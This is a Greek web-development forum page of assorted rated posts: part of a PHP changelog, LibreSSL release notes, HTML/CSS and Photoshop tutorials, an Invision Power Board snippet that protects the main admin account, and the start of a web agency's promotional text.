up the OpenSSL error queue (resolves bugs #68276 and #69882). Pcntl: Implemented asynchronous signal handling without TICKS. Added pcntl_signal_get_handler() that returns the current signal handler for a particular signal. Addresses FR #72409. Add signinfo to pcntl_signal() handler args (Bishop Bettini, David Walker) PCRE: Fixed bug #73483 (Segmentation fault on pcre_replace_callback). Fixed bug #73612 (preg_*() may leak memory). Fixed bug #73392 (A use-after-free in zend allocator management). Fixed bug #73121 (Bundled PCRE doesn't compile because JIT isn't supported on s390). Fixed bug #72688 (preg_match missing group names in matches). Downgraded to PCRE 8.38. Fixed bug #72476 (Memleak in jit_stack). Fixed bug #72463 (mail fails with invalid argument). Upgraded to PCRE 8.39. PDO: Fixed bug #72788 (Invalid memory access when using persistent PDO connection). Fixed bug #72791 (Memory leak in PDO persistent connection handling). Fixed bug #60665 (call to empty() on NULL result using PDO::FETCH_LAZY returns false). PDO_DBlib: Fixed bug #72414 (Never quote values as raw binary data). Allow \PDO::setAttribute() to set query timeouts. Handle SQLDECIMAL/SQLNUMERIC types, which are used by later TDS versions. Add common PDO test suite. Free error and message strings when cleaning up PDO instances. Fixed bug #67130 (\PDOStatement::nextRowset() should succeed when all rows in current rowset haven't been fetched). Ignore potentially misleading dberr values. Implemented stringify 'uniqueidentifier' fields. PDO_Firebird: Fixed bug #73087, #61183, #71494 (Memory corruption in bindParam). Fixed bug #60052 (Integer returned as a 64bit integer on X86_64). PDO_pgsql: Fixed bug #70313 (PDO statement fails to throw exception). Fixed bug #72570 (Segmentation fault when binding parameters on a query without placeholders). Implemented FR #72633 (Postgres PDO lastInsertId() should work without specifying a sequence). Phar: Fixed bug #72928 (Out of bound when verify signature of zip phar in phar_parse_zipfile). Fixed bug #73035 (Out of bound when verify signature of tar phar in phar_parse_tarfile). phpdbg: Added generator command for inspection of currently alive generators. Postgres: Fixed bug #73498 (Incorrect SQL generated for pg_copy_to()). Implemented FR #31021 (pg_last_notice() is needed to get all notice messages). Implemented FR #48532 (Allow pg_fetch_all() to index numerically). Readline: Fixed bug #72538 (readline_redisplay crashes php). Reflection: Undo backwards compatiblity break in ReflectionType->__toString() and deprecate via documentation instead. Reverted prepending \ for class names. Implemented request #38992 (invoke() and invokeArgs() static method calls should match). (cmb). Add ReflectionNamedType::getName(). This method should be used instead of ReflectionType::__toString() Prepend \ for class names and ? for nullable types returned from ReflectionType::__toString(). Fixed bug #72661 (ReflectionType::__toString crashes with iterable). Fixed bug #72222 (ReflectionClass::export doesn't handle array constants). Failure to retrieve a reflection object or retrieve an object property will now throw an instance of Error instead of resulting in a fatal error. Fix #72209 (ReflectionProperty::getValue() doesn't fail if object doesn't match type). Session: Fixed bug #73273 (session_unset() empties values from all variables in which is $_session stored). Fixed bug #73100 (session_destroy null dereference in ps_files_path_create). Fixed bug #68015 (Session does not report invalid uid for files save handler). Fixed bug #72940 (SID always return "name=ID", even if session cookie exist). Implemented session_gc() (Yasuo) https://wiki.php.net/rfc/session-create-id Implemented session_create_id() (Yasuo) https://wiki.php.net/rfc/session-gc Implemented RFC: Session ID without hashing. (Yasuo) https://wiki.php.net/rfc/session-id-without-hashing Fixed bug #72531 (ps_files_cleanup_dir Buffer overflow). Custom session handlers that do not return strings for session IDs will now throw an instance of Error instead of resulting in a fatal error when a function is called that must generate a session ID. An invalid setting for session.hash_function will throw an instance of Error instead of resulting in a fatal error when a session ID is created. Fixed bug #72562 (Use After Free in unserialize() with Unexpected Session Deserialization). Improved fix for bug #68063 (Empty session IDs do still start sessions). Fixed bug #71038 (session_start() returns TRUE on failure). Session save handlers must return 'string' always for successful read. i.e. Non-existing session read must return empty string. PHP 7.0 is made not to tolerate buggy return value. Fixed bug #71394 (session_regenerate_id() must close opened session on errors). SimpleXML: Fixed bug #73293 (NULL pointer dereference in SimpleXMLElement::asXML()). Fixed bug #72971 (SimpleXML isset/unset do not respect namespace). Fixed bug #72957 (Null coalescing operator doesn't behave as expected with SimpleXMLElement). Fixed bug #72588 (Using global var doesn't work while accessing SimpleXML element). Creating an unnamed or duplicate attribute will throw an instance of Error instead of resulting in a fatal error. SNMP: Fixed bug #72708 (php_snmp_parse_oid integer overflow in memory allocation). Fixed bug #72479 (Use After Free Vulnerability in SNMP with GC and unserialize()). Soap: Fixed bug #73538 (SoapClient::__setSoapHeaders doesn't overwrite SOAP headers). Fixed bug #73452 (Segfault (Regression for #69152)). Fixed bug #73037 (SoapServer reports Bad Request when gzipped). Fixed bug #73237 (Nested object in "any" element overwrites other fields). Fixed bug #69137 (Peer verification fails when using a proxy with SoapClient) (Keith Smiley) Fixed bug #71711 (Soap Server Member variables reference bug). Fixed bug #71996 (Using references in arrays doesn't work like expected). SPL: Fixed bug #73423 (Reproducible crash with GDB backtrace). Fixed bug #72888 (Segfault on clone on splFileObject). Fixed bug #73029 (Missing type check when unserializing SplArray). Fixed bug #72646 (SplFileObject::getCsvControl does not return the escape character). Fixed bug #72684 (AppendIterator segfault with closed generator). Attempting to clone an SplDirectory object will throw an instance of Error instead of resulting in a fatal error. Calling ArrayIterator::append() when iterating over an object will throw an instance of Error instead of resulting in a fatal error. Fixed bug #55701 (GlobIterator throws LogicException). SQLite3: Update to SQLite 3.15.1. Fixed bug #73530 (Unsetting result set may reset other result set). Fixed bug #73333 (2147483647 is fetched as string). Fixed bug #72668 (Spurious warning when exception is thrown in user defined function). Implemented FR #72653 (SQLite should allow opening with empty filename). Fixed bug #70628 (Clearing bindings on an SQLite3 statement doesn't work). Implemented FR #71159 (Upgraded bundled SQLite lib to 3.9.2). Standard: Fixed bug #73297 (HTTP stream wrapper should ignore HTTP 100 Continue). Fixed bug #73303 (Scope not inherited by eval in assert()). Fixed bug #73192 (parse_url return wrong hostname). Fixed bug #73203 (passing additional_parameters causes mail to fail). Fixed bug #73203 (passing additional_parameters causes mail to fail). Fixed bug #72920 (Accessing a private constant using constant() creates an exception AND warning). Fixed bug #65550 (get_browser() incorrectly parses entries with "+" sign). Fixed bug #71882 (Negative ftruncate() on php://memory exhausts memory). Fixed bug #55451 (substr_compare NULL length interpreted as 0). Fixed bug #72278 (getimagesize returning FALSE on valid jpg). Fixed bug #61967 (unset array item in array_walk_recursive cause inconsistent array). Fixed bug #62607 (array_walk_recursive move internal pointer). Fixed bug #69068 (Exchanging array during array_walk -> memory errors). Fixed bug #70713 (Use After Free Vulnerability in array_walk()/ array_walk_recursive()). Fixed bug #72622 (array_walk + array_replace_recursive create references from nothing). Fixed bug #72330 (CSV fields incorrectly split if escape char followed by UTF chars). Implemented RFC: More precise float values. array_multisort now uses zend_sort instead zend_qsort. Fixed bug #72505 (readfile() mangles files larger than 2G). assert() will throw a ParseError when evaluating a string given as the first argument if the PHP code is invalid instead of resulting in a catchable fatal error. Calling forward_static_call() outside of a class scope will now throw an instance of Error instead of resulting in a fatal error. Added is_iterable() function. Fixed bug #72306 (Heap overflow through proc_open and $env parameter). Fixed bug #71100 (long2ip() doesn't accept integers in strict mode). Implemented FR #55716 (Add an option to pass a custom stream context to get_headers()). Additional validation for parse_url() for login/pass components). Implemented FR #69359 (Provide a way to fetch the current environment variables). unpack() function accepts an additional optional argument $offset. Implemented #51879 stream context socket option tcp_nodelay (Joe) Streams: Fixed bug #73586 (php_user_filter::$stream is not set to the stream the filter is working on). Fixed bug #72853 (stream_set_blocking doesn't work). Fixed bug #72743 (Out-of-bound read in php_stream_filter_create). Implemented FR #27814 (Multiple small packets send for HTTP request). Fixed bug #72764 (ftps:// opendir wrapper data channel encryption fails with IIS FTP 7.5, 8.5). Fixed bug #72810 (Missing SKIP_ONLINE_TESTS checks). Fixed bug #41021 (Problems with the ftps wrapper). Fixed bug #54431 (opendir() does not work with ftps:// wrapper). Fixed bug #72667 (opendir() with ftp:// attempts to open data stream for non-existent directories). Fixed bug #72771 (ftps:// wrapper is vulnerable to protocol downgrade attack). Fixed bug #72534 (stream_socket_get_name crashes). Fixed bug #72439 (Stream socket with remote address leads to a segmentation fault). sysvshm: Fixed bug #72858 (shm_attach null dereference). Tidy: Implemented support for libtidy 5.0.0 and above. Creating a tidyNode manually will now throw an instance of Error instead of resulting in a fatal error. Wddx: Fixed bug #73331 (NULL Pointer Dereference in WDDX Packet Deserialization with PDORow). Fixed bug #72142 (WDDX Packet Injection Vulnerability in wddx_serialize_value()). Fixed bug #72749 (wddx_deserialize allows illegal memory access) (Stas) Fixed bug #72750 (wddx_deserialize null dereference). Fixed bug #72790 (wddx_deserialize null dereference with invalid xml). Fixed bug #72799 (wddx_deserialize null dereference in php_wddx_pop_element). Fixed bug #72860 (wddx_deserialize use-after-free). Fixed bug #73065 (Out-Of-Bounds Read in php_wddx_push_element). Fixed bug #72564 (boolean always deserialized as "true") (Remi) A circular reference when serializing will now throw an instance of Error instead of resulting in a fatal error. XML: Fixed bug #72135 (malformed XML causes fault) (edgarsandi) Fixed bug #72714 (_xml_startElementHandler() segmentation fault). Fixed bug #72085 (SEGV on unknown address zif_xml_parse). XMLRPC: Fixed bug #72647 (xmlrpc_encode() unexpected output after referencing array elements). Fixed bug #72606 (heap-buffer-overflow (write) simplestring_addn simplestring.c). A circular reference when serializing will now throw an instance of Error instead of resulting in a fatal error. Zip: Fixed bug #68302 (impossible to compile php with zip support). Fixed bug #72660 (NULL Pointer dereference in zend_virtual_cwd). Fixed bug #72520 (Stack-based buffer overflow vulnerability in php_stream_zip_opener). ZipArchive::addGlob() will throw an instance of Error instead of resulting in a fatal error if glob support is not available.
  34. 1 point
    eime o giorgos gia se olous
  35. 1 point
    Καλή αρχή στο φόρουμ!
  36. 1 point
    Η PHP είναι μια γλώσσα προγραμματισμού που σχεδιάστηκε για τη δημιουργία δυναμικών σελίδων στο δυαδίκτυο και είναι επισήμως γνωστή ως: HyperText preprocessor. Είναι μια server-side (εκτελείτε στον διακομιστή) scripting γλώσσα που γράφεται συνήθως πλαισιωμένη από HTML, για μορφοποίηση των αποτελεσμάτων. Αντίθετα από μια συνηθισμένη HTML σελίδα η σελίδα PHP δεν στέλνεται άμεσα σε έναν πελάτη (client), αντ' αυτού πρώτα αναλύεται και μετά αποστέλλεται το παραγόμενο αποτέλεσμα. Τα στοιχεία HTML στον πηγαίο κώδικα μένουν ως έχουν, αλλά ο PHP κώδικας ερμηνεύεται και εκτελείται. Ο κώδικας PHP μπορεί να θέσει ερωτήματα σε βάσεις δεδομένων, να δημιουργήσει εικόνες, να διαβάσει και να γράψει αρχεία, να συνδεθεί με απομακρυσμένους υπολογιστές , κ.ο.κ. Σε γενικές γραμμές οι δυνατότητες που μας δίνει είναι απεριόριστες. Αρχικά η ονομασία της ήταν PHP/FI από το Forms Interpreter η οποία δημιουργήθηκε το 1995 από τον Rasmus Lerdorf ως μια συλλογή από Perl scripts που τα χρησιμοποιούσε στην προσωπική του σελίδα. Δεν άργησε να τα εμπλουτίσει με λειτουργίες επεξεργασίας δεδομένων με SQL, αλλά τα σημαντικά βήματα που έφεραν και την μεγάλη αποδοχή της PHP ήταν αρχικά η μετατροπή τους σε C και μετέπειτα η δωρεάν παροχή του πηγαίου κώδικα μέσω της σελίδας του ώστε να επωφεληθούν όλοι από αυτό που είχε φτιάξει, αλλά και να τον βοηθήσουν στην περαιτέρω ανάπτυξή της. Περισσότερα ιστορικά στοιχεία. http://gr.php.net/history/ Η σελίδα που μπορείτε να δείτε όλες τις εξελίξεις και της νέες εκδόσεις από την δημοφιλής γλώσσα είναι η http://www.php.net/
  37. 1 point
    Το παρακάτω είναι ένα tip για το πως μπορούμε να βάλουμε έναν βαθμό προστασίας στις εικόνες μας, είναι σχετικά καλή προστασία, δηλαδή δεν θα μπορέσει ο καθένας να πάρει την εικόνα μας . Φυσικά να επισημάνω πως από την στιγμή που είναι online τίποτα δεν είναι ασφαλές, αλλα είμαστε υπεύθυνοι να αυξάνουμε το επίπεδο ασφαλειας σε ορισμένα θέματα. Λοιπόν για να μην τα πολυλογώ ας αρχίσουμε. Για αρχή φτιάχνουμε ένα gifaki 1x1 (width 1 και height 1) transparent. Για να γίνει αυτό ακολουθούμε τα παρακάτω βήματα. Ανοίγουμε το photoshop (εγώ αυτό δουλεύω, όχι ότι δεν μπορεί να γίνει και με αλλα προγράμματα επεξεργασίας εικόνας). Από το menu επιλέγουμε File -> New η πατάμε τον συνδυασμό Ctrl+N από το παράθυρο που μας βγαίνει βάζουμε την τιμή 1 στο Width και στο Heght και σιγουρευόμαστε πως η μονάδα μέτρησης είναι pixels και όχι κάτι άλλο. Στο Background Contents επιλέγουμε την τιμή Transparent από το drop down menu. Τέλος πατάμε OK Τώρα έχουμε στο stage μας μια εικόνα μεγέθους 1 x 1 με διαφανες χρώμα. Το επόμενο βήμα μας είναι να την αποθηκεύσουμε, επιλέγουμε από το menu File -> Save for Web η πατάμε τον συνδυασμό Alt+Shift+Ctrl+S. Στο παράθυρο που μας βγαίνει ελέγχουμε αν είναι τσεκαρισμένο το Transparency (φυσιολογικά πρέπει να είναι). Αφού κάναμε τον έλεγχο πατάμε Save και το σώζουμε σε ένα φάκελο της επιλογής μας με όνομα της επιλογής μας, εγώ χρησιμοποίησα το κοινό όνομα, spacer.gif Αυτά για το gifaki πάμε τώρα για το επόμενο στάδιο. Λοιπόν ας μιλήσουμε τώρα σε (X)HTML & CSS Βάζουμε το σκαρί της σελίδας μας. Εγώ δουλεύω σε XHTML 1.0 Strict σε οποιον δεν αρέσει μπορεί να το αλλάξει ότι βολεύει τον καθένα δεν πειράζει καθόλου το συγκεκριμένο "trick" δεν απαιτεί κάποιο validation ούτος η άλλος. Οποτε αρχικά έχουμε το παρακάτω.. κώδικας: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="application/xhtml+xml; charset=UTF-8" /> <title>Protecting images</title> </head> <body> <div> </div> </body> </html> Σημείωση: αν αλλάξετε το DTD από XHTML Strict σε απλή html αλλάξτε και το content από application/xhtml+xml σε text/html, αν πάλι αλλάξετε το DTD από Strict σε κάποιο άλλο XHTML DTD φροντίστε να είναι τουλάχιστον well formed η σελίδα σας αν όχι και valid γιατί θα σας χτυπήσει λόγο του application/xhtml+xml Στην συνεχεια φτιάχνουμε ένα CSS αρχείο και το αποθηκεύουμε με όνομα images.css. Για αρχή βάζουμε τον παρακάτω κώδικα μέσα.. κώδικας: img.foobar { background-image: url(../images/foobar.jpg); background-repeat: no-repeat; width: 100px; height: 100px; } Στο background-image βάζουμε το relative path προς την εικόνα. Στο background-repeat βάζουμε το value no-repeat για να μην επαναλαμβάνεται η εικόνα, μπορούμε να το αλλάξουμε αν θέλουμε να επαναλαμβάνεται όμως, ότι θέλουμε ανάλογα με την περίσταση! Στο width και στο height βάζουμε το width και το height της εικόνας αντίστοιχα. Θα μπορούσαμε να κάνουμε πολλά κολπάκια πάντως! Αλλάζοντας το width και το height σε 3 pixels παραπάνω πχ προσθέτοντας και ένα border: 1πχ solid #333333 (αυτό δηλώνει ένα πινακα γραμμικό με χρώμα 333333, είναι ένα ανοικτό μαύρο που m' αρέσει πολύ και το χρησιμοποιώ συχνά) τέλος θα προσθέταμε και ένα background-position: center center; για να κάτσει ακριβώς την μέση η εικόνα μας, το background-position property βοηθάει στο να καθορίζεις την θέση του background στο αντικείμενο, παίρνει τιμές x και y με βάση τον άξονα το x ορίζει την οριζόντια θέση και το y την κάθετη οποτε βάζουμε το value center center χωρίς κόμμα και αυτό αυτόματα κεντράρετε στην μέση, και το αποτέλεσμα θα ήταν ένα πολύ ωραίο image με ένα περίγραμμα για να μην είναι ξεκάρφωτο στην σελίδα μας Όμως δεν τελειώνει εδώ! θα μπορούσαμε να το "αναπατυξουμε" πολύ παραπάνω! χρησιμοποιώντας το pseudo class :hover θα μπορούσαμε να κάνουμε πολλά πράματα, από το ποιο απλό, όπως το να αλλάζεις το border color έως και να κάνουμε switch την εικόνα με μια άλλη αλλάζοντας το background-image* σε άλλο value και αλλα πολλά!! Εμείς ας κρατήσουμε το απλό για το παράδειγμα μας μιας και τα αλλα αποτελούν από μονα τους επιπλέον τεχνικές Οποτε προσθέτουμε και το παρακάτω στο css μας κώδικας: img.foobar:hover { border: 1px solid #f9f9f9; } Άφησα το πάχος του border 1πχ και γραμμικό και άλλαξα το χρώμα του σε #f9f9f9 το οποιο είναι ένα πολύ ανοικτό γκριζάκι, προς το άσπρο ποιο πολύ, άλλο ένα χρώμα που μου αρέσει πολύ και το χρησιμοποιώ αρκετά για backgroung color! Ωραία! τώρα που έχουμε το css μας έτοιμο πάμε να το βάλουμε στην (X)HTML σελίδα μας. Κάτω από το title element προσθέτουμε το παρακάτω link element κώδικας: <link href="css/images.css" type="text/css" rel="stylesheet" /> Πολύ ωραία! τώρα που προσθέσαμε το css μας είμαστε πλέον έτοιμοι να προσθέσουμε και το image μας! Οποτε προσθέτουμε το image μας με τον παρακάτω κώδικα τον οποιον βάζουμε μέσα στο div element που έχουμε μέσα στο body της σελίδας μας.. κώδικας: <img src="images/spacer.gif" class="foobar" alt="My protected image!" /> Στο attribute src βάζουμε το path για το spacer.gif, η όπως το έχει ονομάσει ο καθ' ένας, που φτιάξαμε προηγούμενος. Στο attribute class βάζουμε το class που φτιάξαμε, στην προκειμενη περίπτωση έχουμε μονο το class με όνομα foobar, θα μπορούσαμε να έχουμε πολλά classes, όσες εικόνες θα θέλαμε να χρησιμοποιήσουμε με αυτόν τον τρόπο θα τις είχαμε σε διαφορετική class για την κάθε μια! Οποτε εμείς βάλαμε την class foobar μιας και είναι η μονη που έχουμε. Μιας και θέλω να είμαι valid πρόσθετο πάντα το alt attribute. Δεν είναι το θέμα μας αλλα θα το αναφέρω. Είναι καλο να προσθέτουμε αυτό το attribute πάντως, χρησιμεύει στο να περιγραφει στον χρηστη περί τίνος πρόκειται να δείξει η εικόνα, ο χρηστος το βλέπει όταν πάει το mouse από πάνω από την εικόνα και το κρατάει για μερικά ms. Επίσης χρησιμεύει στο να αναφέρει στον χρηστη μια περιγραφή σε περίπτωση που είναι πολύ μεγάλη η εικόνα και αργεί να φορτώσει η αν δεν βρίσκει το path προς την εικόνα δείχνει την περιγραφή μονο. Λοιπόν! αυτό ήταν το όλο θέμα περί της τεχνικής αυτής, το πως μου ήρθε.. αστείο, το είδα σε όνειρο! Τώρα φυσιολογικά θα πρέπει να έχετε το παρακάτω Ένα αρχείο gif μεγέθους 1x1 διαφανες Ένα αρχείο css με όνομα images.css και με περιεχόμενο κώδικας: img.foobar { background-image: url(../images/foobar.jpg); background-repeat: no-repeat; width: 103px; height: 103px; border: 1px solid #333333; background-position: center center; } img.foobar:hover { border: 1px solid #f9f9f9; } Και ένα αρχείο .html με όνομα της αρεσκείας σας και με περιεχόμενο κώδικας: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="application/xhtml+xml; charset=UTF-8" /> <title>Protecting images</title> <link href="css/images.css" type="text/css" rel="stylesheet" /> </head> <body> <div> <img src="images/spacer.gif" class="foobar" alt="My protected image!" /> </div> </body> </html> Demo here! Αυτά εκ μέρους μου προς το παρόν! Ελπίζω να σας φανεί χρήσιμο, προσωπικά δεν μου φάνηκε χρήσιμο κάπου προς το μιας και για μένα η ιδέα του internet είναι να είναι όλα ελευθερα για όλους και προσβάσιμα απ' όλους μιας και αποτελούν όλα μια πηγή πληροφοριών, αυτή είναι και η ιδέα του web 2 άλλωστε... Αν και ώρες ώρες θα πρέπει να προστατεύεις κάπως κάποια πράματα! Anyway! Ευχάριστο που το διαβάσατε! Cya next time! * Μιας και ανέφερα το sweep τον εικόνων με αυτόν τον τρόπο, με την αλλαγή δηλαδή στο value του background-image property στο :hover, ναπω πως έτσι δημιουργείται ένα flickering στο mouse over - :hover - δηλαδή δεν βλέπει τίποτα το χρηστης μέχρι να φορτώσει η εικόνα που έχουμε ορίσει στο:hover, για να apofgoume κάτι τέτοιο κάνουμε το εξής. Θα τα πω χοντρικά μιας και δεν είναι το θέμα μας. Έχουμε 2 εικόνες 100x100 η κάθε μια θα τις ενώσουμε οποτε θα πάρουμε μια εικόνα 200x100 όπου αριστερά θα έχει την normal εικόνα και δεξιά την :hover εικόνα. Στο normal class θα βάλουμε την εικόνακαι στο background-position θα βάλουμε τις τιμές: 0px 0px οποτε θα έχουμε αυτό με λίγα λόγια: background-position: 0px 0px; έπειτα στοhover θα αλλάξουμε το background-position: 0px 0px; σε background-position: -100πχ 0px; και φυσικά εννοείτε πως στο width δεν θα βάλουμε200πχ αλλα 100πχ. Αυτά, τα είπα αρκετά χοντρά αλλα εξήγησα τον λόγο, αν όμως κάποιος θέλει να το αναπτύξω και αυτό το θέμα.. just ask for it! PS: Ένα ακόμα tip που έδωσε ο Rapid-eraser είναι βάζοντας ένα mod μέσο .htaccess απαγορεύοντας direct link στις εικόνες. Με αυτό το τρόπο αυξάνουμε την προστασία ακόμα περισσότερο! Αλλα όπως είπαμε ξανά και ξανά τίποτα δεν έχει την απόλυτη ασφάλεια από την στιγμή που είναι online!
  38. 1 point
    1. Δημιουργούμε ένα αρχείο ότι διαστάσεων επιθυμούμε με άσπρο background. Εγώ διάλεξα 400x400. Πατάμε το γράμμα D για να γυρίσουμε την παλέτα των χρωμάτων στην αρχική θέση τους (Μαύρο/Άσπρο). Τώρα πάμε Filter > Texture > Grain. και φτιάχνουμε τις ρυθμίσεις όπως στην εικόνα απο κάτω. Το αποτέλεσμα που θα έχουμε θα είναι σαν της εικόνας 1. Εικόνα 1 2. Πηγαίνουμε Filter > Artistic > Neon Glow και χρησιμοποιούμε τις ρυθμίσεις που φαίνονται στη παρακάτω φωτογραφία. Χρώμα : #00FF00 Το αποτέλεσμα του 2ου βήματος πρέπει να είναι όπως της εικόνας 2. Εικόνα 2 3. Τελευταίο βήμα για την ολοκλήρωση του εφφέ. Πηγαίνουμε Filter > Stylize > Glowing Edges και χρησιμοποιούμε της ρυθμίσεις της παρακάτω εικόνας. Αυτό είναι και το τελικό αποτέλεσμα που πρέπει να μοιάζε με την εικόνα 3.
  39. 1 point
    We have released LibreSSL 2.4.4, which will be arriving in the LibreSSL directory of your local OpenBSD mirror soon. It includes the following changes: * Avoid continual processing of an unlimited number of TLS records, which can cause a denial-of-service condition. * In X509_cmp_time(), pass asn1_time_parse() the tag of the field being parsed so that a malformed GeneralizedTime field is recognized as an error instead of potentially being interpreted as if it was a valid UTCTime. * Improve ticket validity checking when tlsext_ticket_key_cb() callback chooses a different HMAC algorithm. * Check for packets with a truncated DTLS cookie. * Detect zero-length encrypted session data early, instead of when malloc(0) fails or the HMAC check fails. * Check for and handle failure of HMAC_{Update,Final} or EVP_DecryptUpdate() The LibreSSL project continues improvement of the codebase to reflect modern, safe programming practices. We welcome feedback and improvements from the broader community. Thanks to all of the contributors who helped make this release possible. https://www.libressl.org/
  40. 1 point
  41. 1 point
    Αν δεν κάνω λάθος το FrontPage ως πρόγραμμα δεν υπάρχει πλέον εδώ και πολλά χρόνια και όποια κατασκευή υπάρχει από το FrontPage δεν θα δουλέψει σε κάποιον server με PHP έως 5.3.x μιας και όλοι απενεργοποιούν το extension για λόγους ασφαλείας.
  42. 1 point
  43. 1 point
    ευχαριστώ ! έχω πολλά τέτοια Γιαννη, το πιο ωραίο σε περιβάλλοντα χωρίς κάποιο notification service ( WHM, LFD on CSF ) το προσθέτω τωρα σε άλλο topic
  44. 1 point
    Καλησπερααα Ο Σημερινός οδηγός έχει να κάνει σχετικά με το πως θα προστατέψουμε τον admin του forum, δηλαδή τον ιδρυτή, από την διαγραφή. Δηλαδή να τον διαγραψη κάποιο άλλο μέλος που έχει διαχειριστικα δικαιώματα. Πάμε να δούμε Μπείτε στα αρχεία του forum σας και βρείτε την διαδρομή admin\applications\members\modules_admin\members\members.php Ανοίξτε το αρχείο members.php Και ψάξτε να βρείτε το παρακάτω $ids = IPSLib::cleanIntArray( $ids ); Και ακριβώς από επάνω του βάτε το παρακάτω if( in_array( 1, $ids ) ) { $this->registry->output->global_message = "Can't remove main admin account. Sorry."; $this->request['do'] = 'members_list'; $this->_memberList(); return; } Κάντε αποθήκευση, και ετοιμοο!!
  45. 1 point
    σήμερα ο οδηγός έχει να κάνει σχετικά με το hover. Δηλαδή εάν πάτε στο μαύρο σκιν του forum και βάλετε το ποντικί σας επάνω σε μια κατηγορία, τότε αυτομάτως αλλάζει χρώμα και γίνεται οπως τη παρακάτω εικόνα Πάμε να δούμε πως θα το κάνετε και εσείς αυτό στο forum σας, φυσικά αναφέρομαι μόνο για IPB. Ακολουθήστε τα παρακάτω βήματα 1)Συνδεθείτε στο ACP του φόρουμ σας και πατήστε με το ποντικί σας στη καρτέλα Look&Feel. 2)Εκεί πέρα θα δείτε όλα τα σκιν σας που έχετε στο forum σας,πηγαινετε σε αυτό που θέλετε και πατάτε στο βελάκι που έχει και μετά στο Manage Templates & CSS Εικόνα Μετά πρέπει να κάνετε κλικ στο BoardIndexTemplate. Για να το βρείτε στα Αριστερά θα δείτε να λεει Board Index και εάν πατήσετε επάνω αμέσως απο κάτω θα λέει BoardIndexTemplate Εικόνα Κάνετε κλικ επάνω στο BoardIdexTemplate Και θα εμφανίσει το κωδικά του. Τώρα μέσα εκεί θα πρέπει να βρείτε μονό ένα συγκεκριμένο που θέλουμε εμείς, για να το κάνετε αυτό πατήστε Ctrl και f για να σας ανοίξει η αναζήτηση στο browser σας, και μέσα στην αναζήτηση βάζετε το παρακάτω <table class='ipb_table' summary="{$this->lang->words['forums_in_cat']} '{$_data['cat_data']['name']}'"> Και όταν το βρείτε το κάνετε αντικατάσταση με αυτό εδώ <table class='ipb_table forumHover' summary="{$this->lang->words['forums_in_cat']} '{$_data['cat_data']['name']}'"> Και κάνετε αποθήκευση. Τώρα θα πρέπει να αλλάξετε και το ForumIdexTemplate, αυτό θα το βρείτε στην αριστερή μεριά στο ίδιο σημείο που βρήκατε και το BoardIndexTemplate. Στην αριστερά μεριά λέει Forum View πατάτε και σας ανοίγει διάφορες επιλογές από κάτω και από αυτές τις επιλογές εσείς κάνετε κλικ στο ForumIdexTemplate. Εικόνα Και κάνετε αναζήτηση με Ctrl και f όπως στο παραπάνω βήμα, και ψάχνετε αυτό εδώ <table class='ipb_table' summary="{$this->lang->words['cat_subforums']} '{$forum_data['name']}'"> Και το κάνετε αντικατάσταση με αυτό εδώ <table class='ipb_table forumHover' summary="{$this->lang->words['cat_subforums']} '{$forum_data['name']}'"> Τώρα πρέπει να επεξεργαστούμε και το CSS. Επάνω ψηλά διπλα από το Templates θα δείτε να λέει CSS πατάτε εκεί πέρα Εικόνα Και στα αριστερά σας έχει κάποιες επιλογές όπως στο Templates πριν, από αυτά που σας εμφανίζει εσείς πατάτε στο ipb_styles.css Και θα σας βγάλει το κωδικά, στο τέλος του κωδικά προσθέτετε το παρακάτω .forumHover tr:hover td { background: #142638; border-bottom: 2px solid orangered; cursor: pointer; } .forumHover tr:hover td, .forumHover tr:hover td *, .forumHover tr:hover td .desc, .forumHover tr:hover td .desc a { color: #fff !important; color: rgba(255, 255, 255, 0.7) !important; } .forumHover tr:hover td a { color: #fff !important; } Στο background: #142638; αλλάζετε το Background με αυτό που θέλετε εσείς.
  46. 1 point
    Μια ιστοσελίδα είναι ένας από τους πιο σύγχρονους τρόπους προβολής και προώθησης που μπορεί να επιστρατεύσει κανείς στις μέρες μας. Μάλιστα, με ιδιαίτερα χαμηλότερο κόστος, σε σύγκριση με τα παραδοσιακά μέσα διαφήμισης και marketing. Αν αναπτυχθεί σωστά! Διαφορετικά, μια μέτρια ιστοσελίδα ισοδυναμεί με μια μέτρια βιτρίνα καταστήματος. Δεν προσελκύει πελάτες. Δε «φωνάζει» ότι «Έι, κοίτα εδώ, κάνουμε μια ειλικρινή προσπάθεια να παρέχουμε καλά προϊόντα και αξιόπιστες υπηρεσίες»! Η διαδικασία ανάπτυξης μιας ιστοσελίδας, όπως επιβάλλουν οι σύγχρονες πρακτικές. Κατασκευή ιστοσελίδων με στόχους και αποτελέσματα Για να είναι επιτυχημένη η κατασκευή μιας ιστοσελίδας πρέπει να γίνει με δομημένο και αναλυτικό τρόπο. Για να το πετύχει αυτό πρέπει, πριν από όλα, να εξυπηρετεί καλά καθορισμένους στόχους που πρέπει να καταγραφούν και να εξηγηθούν επαρκώς. Στη συνέχεια, πρέπει να σχεδιαστεί με γνώμονα τους στόχους αυτούς, το κοινό στο οποίο απευθύνεται και την κουλτούρα της οντότητας την οποία παρουσιάζει, είτε αυτή είναι μια μεγάλη εταιρεία, είτε μια μικρή επιχείρηση, είτε οι υπηρεσίες ενός επαγγελματία. Στο Nevma τηρούμε ευλαβικά τις διαδικασίες εκείνες που εξασφαλίζουν ότι η κατασκευή μιας ιστοσελίδας θα γίνει από την αρχή ως το τέλος βασισμένη σε κανόνες που σέβονται τόσο το δικό μας πελάτη όσο και τον πελάτη του πελάτη μας. Προσπαθούμε να προσαρμόσουμε την τεχνολογία στα μέτρα εκείνων που απευθύνονται σε εμάς για συνεργασία ακολουθώντας μια μεθοδολογία που πιστεύουμε πως οδηγεί με επαγγελματισμό και ομαλότητα στην ολοκλήρωση ενός project. Αυτή τη μεθοδολογία σας παρουσιάζουμε παρακάτω. Προσφορά αναλυτική με προδιαγραφές, τρόπους υλοποίησης και χρόνους Μια καλή σχέση ξεκινά καλά από την αρχή. Η πρώτη επαφή οδηγεί σε μια οικονομική προσφορά από εμάς προς εσάς, πάνω στην οποία ακολουθεί δημιουργική συζήτηση και, γιατί όχι, λίγες διαπραγματεύσεις. Οι οικονομικές προσφορές που δίνουμε είναι 